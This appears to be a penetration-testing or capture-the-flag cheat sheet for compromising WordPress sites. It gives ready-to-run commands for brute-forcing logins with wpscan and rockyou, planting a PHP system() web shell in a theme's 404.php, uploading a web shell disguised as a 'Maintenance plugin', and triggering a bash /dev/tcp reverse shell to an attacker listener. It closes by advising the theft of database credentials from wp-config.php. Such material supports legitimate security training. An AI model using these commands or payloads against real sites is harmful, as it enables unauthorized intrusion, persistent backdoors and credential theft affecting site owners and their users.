Skip to content

WordPress Exploitation

5 min read Created Mar 28, 2026 Last updated Apr 24, 2026

WordPress exploitation targets weak admin credentials, vulnerable plugins, and the theme editor for web shell delivery. Most WordPress compromises on CTF targets and real engagements follow the same path: find credentials through enumeration or bruteforce, authenticate to wp-admin, and plant a web shell through the theme editor or a plugin upload. Run WordPress enumeration first to identify users, version, and plugins.

  • Credential attack with wpscan brute-forces passwords via xmlrpc (faster, harder to rate-limit) or wp-login.
  • Theme editor web shell plants PHP code in an inactive theme's 404.php after authenticating as admin.
  • Plugin upload web shell uploads a malicious ZIP plugin that is reachable without activation.
  • Reverse shell delivery triggers the planted shell with a bash reverse shell payload via the cmd parameter.

Version and plugin data from enumeration tells you which CVEs apply before you attempt brute force. The xmlrpc.php endpoint is a valid brute force target and is often less protected than wp-login.php. Once inside wp-admin, you have multiple paths to remote code execution.

Credential Attack with wpscan

Use the user list from enumeration to bruteforce the login. The xmlrpc attack mode bundles multiple password attempts into one HTTP request. This makes it significantly faster than wp-login and harder to rate-limit. The wp-login mode submits the standard login form and is more likely to trigger lockouts or fail2ban rules. Try common defaults first: admin/admin, admin/password, and the site name as the password. A [SUCCESS] line in the output confirms valid credentials. Collect the username and password before moving to shell delivery. If the site blocks xmlrpc entirely, fall back to the wp-login attack mode.

┌──(kali㉿kali)-[~]
└─$ wpscan --url http://$TARGET_IP:$PORT/ --usernames admin,editor,user --passwords /usr/share/wordlists/rockyou.txt --password-attack xmlrpc
[SUCCESS] Login : admin / password123
┌──(kali㉿kali)-[~]
└─$ wpscan --url http://$TARGET_IP:$PORT/ -U users.txt -P /usr/share/wordlists/rockyou.txt --password-attack wp-login

Theme Editor Web Shell

With admin credentials, plant a web shell in a theme file through the theme editor. The 404.php file of an inactive theme is the least disruptive target. It exists in most default WordPress installs and is unlikely to break the live site. The nonce must be extracted fresh from the theme editor page before each POST request. Successful shell execution returns uid=33(www-data), confirming code execution under the web server user. If the Theme Editor menu is absent from wp-admin, the site likely sets DISALLOW_FILE_EDIT in wp-config.php. Fall back to the plugin upload method in that case.

┌──(kali㉿kali)-[~]
└─$ curl -sk -c /tmp/wp_cookies.txt -X POST http://$TARGET_IP:$PORT/wp-login.php -d "log=admin&pwd=password123&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" -H 'Cookie: wordpress_test_cookie=WP+Cookie+check'
┌──(kali㉿kali)-[~]
└─$ NONCE=$(curl -sk -b /tmp/wp_cookies.txt http://$TARGET_IP:$PORT/wp-admin/theme-editor.php?file=404.php | grep -o 'nonce":"[^"]*' | cut -d'"' -f3)
┌──(kali㉿kali)-[~]
└─$ curl -sk -b /tmp/wp_cookies.txt -X POST http://$TARGET_IP:$PORT/wp-admin/theme-editor.php -d "nonce=$NONCE&action=edit-theme-plugin-file&file=404.php&theme=twentytwentyone&newcontent=<?php+system(\$_GET['cmd']);+?>"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/wp-content/themes/twentytwentyone/404.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Plugin Upload Web Shell

Upload a malicious plugin ZIP through the admin panel for cleaner shell delivery. The PHP comment block at the top of the file is required for WordPress to parse it as a valid plugin. The plugin does not need to be activated for the PHP file to be accessible via HTTP. WordPress unpacks the ZIP into wp-content/plugins/ immediately on upload, making the shell reachable at the plugin folder path regardless of activation status. Plugin uploads can be blocked by DISALLOW_FILE_MODS in wp-config.php or by security plugins like Wordfence. If upload fails with a permissions error, switch back to the theme editor method.

<?php
/**
 * Plugin Name: WP Shell
 * Description: Maintenance plugin
 */
if(isset($_GET['cmd'])) { system($_GET['cmd']); }
┌──(kali㉿kali)-[~]
└─$ mkdir wp-shell && cp shell.php wp-shell/ && zip -r wp-shell.zip wp-shell/
┌──(kali㉿kali)-[~]
└─$ curl -sk -b /tmp/wp_cookies.txt -F 'pluginzip=@wp-shell.zip' http://$TARGET_IP:$PORT/wp-admin/update.php?action=upload-plugin
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/wp-content/plugins/wp-shell/shell.php?cmd=id"

Reverse Shell

Start the listener before triggering the shell through the cmd parameter. If the bash one-liner drops immediately, the target may not have bash at /bin/bash. Try sh instead, or use a Python reverse shell. After the shell connects, upgrade it to a full TTY. The www-data user has read access to the WordPress root directory, including wp-config.php which holds the database credentials in plaintext. Those credentials are worth capturing immediately. They can enable lateral movement if the database runs on a separate host, or if the password is reused on other services.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/wp-content/themes/twentytwentyone/404.php" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

References